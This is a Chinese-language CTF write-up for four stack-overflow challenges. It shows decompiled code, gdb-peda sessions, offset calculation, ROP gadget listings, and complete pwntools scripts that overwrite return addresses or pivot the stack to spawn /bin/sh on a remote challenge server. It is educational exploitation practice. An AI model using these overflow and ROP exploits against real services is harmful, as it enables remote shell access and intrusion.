题目提供elf一个,ida加载,导出main()函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-F0h]
unsigned int v5; // [rsp+FCh] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v5 = 0;
puts("input the password:");
read(0, &buf, 0x100uLL);
if ( v5 == 0xBAD4F00D )
shell();
else
printf("Not authenticated.\nset_me was %d\n", v5, argv);
return 0;
}
当v5==0xBAD4F00D
时,执行shell()函数。
int shell()
{
puts("You did it.");
return system("/bin/sh");
}
在main()函数汇编指令cmp处下断点,看v5在什么位置。
[-------------------------------------code-------------------------------------]
0x400759 <main+115>: mov rsi,rax
0x40075c <main+118>: mov edi,0x0
0x400761 <main+123>: call 0x4005d0 <read@plt>
=> 0x400766 <main+128>: cmp DWORD PTR [rbp-0x4],0xbad4f00d
0x40076d <main+135>: jne 0x40077b <main+149>
0x40076f <main+137>: mov eax,0x0
0x400774 <main+142>: call 0x4006c7 <shell>
0x400779 <main+147>: jmp 0x400791 <main+171>
[------------------------------------stack-------------------------------------]
0000| 0x7ffd2ce893f0 --> 0x7ffd2ce895d8 --> 0x7ffd2ce8a2d6 ("./stack1")
0008| 0x7ffd2ce893f8 --> 0x12ce89410
0016| 0x7ffd2ce89400 ("aaaabaaacaaadaa"...)
0024| 0x7ffd2ce89408 ("caaadaaaeaaafaa"...)
0032| 0x7ffd2ce89410 ("eaaafaaagaaahaa"...)
0040| 0x7ffd2ce89418 ("gaaahaaaiaaajaa"...)
0048| 0x7ffd2ce89420 ("iaaajaaakaaalaa"...)
0056| 0x7ffd2ce89428 ("kaaalaaamaaanaa"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400766 in main ()
Exception occured: context: Different API version between core & binding (CS_ERR_VERSION) (<class 'capstone.CsError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
gdb-peda$ x/gx ($rbp-4)
0x7ffd2ce894ec: 0x6361616b6361616a
gdb-peda$ cyclic -l 0x6361616a
236
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stack1')
gdb.attach(r,'b * 0x400766')
else:
r=remote('106.75.101.133',10027)
r.sendline(cyclic(236)+p64(0xBAD4F00D))
r.interactive()
题目提供提供elf一个,ida加载,导出main()函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+10h] [rbp-100h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("welcome to stack2");
puts("tell me your name");
read(0, buf, 0x100uLL);
print_name(buf);
return 0;
}
main()函数并不存在溢出,但main()函数中输入的字符会传入到print_name()函数内。
这个函数复制了那串字符串到这个函数的栈空间,但是这个函数没有足够大的空间去装他,足够造成溢出。
void __cdecl print_name(char *input)
{
char buf[128]; // [rsp+10h] [rbp-80h]
memcpy(buf, input, 0x100uLL);
printf("Hello %s\n", buf);
}
题目提供了后门函数
void __cdecl shell()
{
system("/bin/sh");
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stack2')
gdb.attach(r,'b * 0x400766')
else:
r=remote('106.75.101.133',10028)
r.sendline(cyclic(0x80)+p64(0xdeadbeef)+p64(0x400727))
r.interactive()
题目提供elf一个,ida加载查看main()函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-100h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("welcome to stack3");
puts("input your name plz");
read(0, &buf, 0x100uLL);
print_name(&buf);
return 0;
}
int __fastcall print_name(const void *a1)
{
char dest; // [rsp+10h] [rbp-20h]
memcpy(&dest, a1, 0x100uLL);
return printf("Hello %s\n", &dest);
}
int __fastcall shell(const char *a1)
{
return system(a1);
}
和上题一样,主函数无法溢出。print_name()函数可以溢出。但是shell函数没有/bin/sh
字符串。构造ROP链将system()和/bin/sh
字符串连接getshell,利用ROP_gadget找到pop rdi;ret
ROPgadget --binary stack3 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006a8 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ce : ret
Unique gadgets found: 11
exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stack3')
gdb.attach(r,'b * 0x400766')
else:
r=remote('106.75.101.133',10029)
elf = ELF('./stack3')
system = elf.symbols['system']
binsh = elf.search('/bin/sh').next()
rdi = 0x400883
r.sendline(cyclic(0x20)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))
r.interactive()
与上题一样。
main()函数不能溢出,print_name()函数能溢出两个字节,刚好覆盖rbp的后两位,题目还给出了栈的地址,刚好可以用来栈迁移构造ROP。
由于题目的/bin/sh
有问题,不能直接使用,在栈内写入该字符串并将其地址给system()函数,最终脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stack4')
gdb.attach(r,'b * 0x40077f')
else:
r=remote('106.75.101.133',10031)
elf = ELF('./stack3')
system = elf.symbols['system']
binsh = elf.search('/bin/sh').next()
rdi = 0x4008a3
r.recvuntil('gift: ')
stack = int(r.recv(14),16)
print hex(stack)
r.sendline(p64(0xdeadbeef)+p64(rdi)+p64(stack+0x20)+p64(system)+'/bin/sh\x00'+p64(binsh)+p16(stack&0xffff))
#r.sendline(cyclic(0x30)+p16(stack&0xffff))
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!